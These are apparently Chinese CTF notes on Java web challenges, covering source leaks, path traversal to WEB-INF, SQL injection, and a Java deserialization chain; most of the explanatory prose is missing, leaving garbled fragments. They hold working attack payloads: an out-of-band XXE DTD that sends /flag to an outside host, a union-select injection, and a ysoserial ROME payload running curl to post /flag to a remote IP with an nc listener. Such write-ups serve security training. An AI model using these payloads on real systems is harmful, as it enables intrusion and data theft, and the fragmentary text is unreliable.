



CTF -JAVA &XXE&



#Java

xxe spel

,

<https://www.cnblogs.com/xishaonian/p/7628153.html>

00x1 .ng

00x2 git

00x3 .DS_Store

00x4

00x5 SVN

00x6 WEB-INF/web.xml

00x7 CVS

#Java

Java



Java

-Reverse-buuoj-

#Java

-Reverse-buuoj-

Java

-class

java

-

-

a = [180, 136, 137, 147, 191, 137, 147, 191, 148, 136, 133, 191, 134, 140, 129, 135, 191, 65]

b = ""

for i in a:

b+=chr((i^32)-64)

print(b)

RoarCTF-2019-easy_java-buuoj-

#RoarCTF-2019-easy_java-

Javaweb

-

-

-

-

Flag-

class-

WEB-INF

/WEB-INF/web.xml Web

servlet

/WEB-INF/classes/

class

servlet class

servlet class

.jar

/WEB-INF/lib/

web

JAR

jar

,

jar

/WEB-INF/src/

java

/WEB-INF/database.properties

web.xml

class

class

class

2020- -filejava-ctfhub-

```
# 2020- -filejava-ctfhub-
https://xz.aliyun.com/t/7272
https://www.jianshu.com/p/73cd11d83c30
https://blog.spook.com/2018/10/23/java-xxe/
https://www.cnblogs.com/tr1ple/p/12522623.html
javaweb class IDEA
../../../../WEB-INF/web.xml
../../../../classes/cn/abc/servlet/DownloadServlet.class
../../../../classes/cn/abc/servlet/ListFileServlet.class
../../../../classes/cn/abc/servlet/UploadServlet.class
Javaweb flag xxe
excel-xxxx.xlsx:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://test.xiaodi8.com/xxx.dtd">
%remote;%int;%send;
]>
<root>&send;</root>
xxx.dtd:
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://test.xiaodi8.com:3333/%file;'>">
nc -lvvp 3333
```

2020- -Web-think_java-

```
# 2020- -Web-think_java-
0x01
javaweb
swagger
myapp, name,pwd

POST /common/test/sqlDict
dbName=myapp?a=' union select (select pwd from user)#
ctfhub_26119_24536
0x02
/swagger-ui.html
{
"password":"ctfhub_xxx",
"username": "ctfhub"
}

{
"data":
"Bearer
r00ABXNyABhjb15hYmMuY29yZS5tb2RlY2V5Vm92RkMxewT0OglAAkwAAmlkdAAQTGphdmEvdGFuZ
```

```

y9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmIuZt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMj
yPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoasIROlIOCLAgAAeHAAAAAAAAAAAAAXQABmN0Zm
h1Yg==",
"msg": " ",
"status": 2,
"timestamps": 1594549037415
}

```

0x03

```

JAVAWEB :
          rO0AB          JAVA          base64
          aced          java          16

```

```

          py2          base64
python java_bs64.py
import base64
a
=rO0ABXNyABhjb2RlYmMuY29yZS5tb2RlYm92RkMxewT0OgIAAkWAAmlkdAAQTGphdmEvdGFu
Zy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmIuZt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMj
yPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoasIROlIOCLAgAAeHAAAAAAAAAAAAAXQABWfkb
Wlu"
b = base64.b64decode(a).encode('hex')
print(b)

```

```

          SerializationDumper -
java -jar SerializationDumper-v1.11.jar base64

```

```

0x04          payload-          base64
          /common/user/current

```

```

          ysoserial
java -jar ysoserial-master-30099844c6-1.jar ROME "curl http://101.32.62.213:6666 -d @/flag" > xiaodi.bin
          py2          base64
python java.py
import base64
file = open("xiaodi.bin","rb")
now = file.read()
ba = base64.b64encode(now)
print(ba)
file.close()

```

```

0x05          flag
          nc -lvvp 6666

```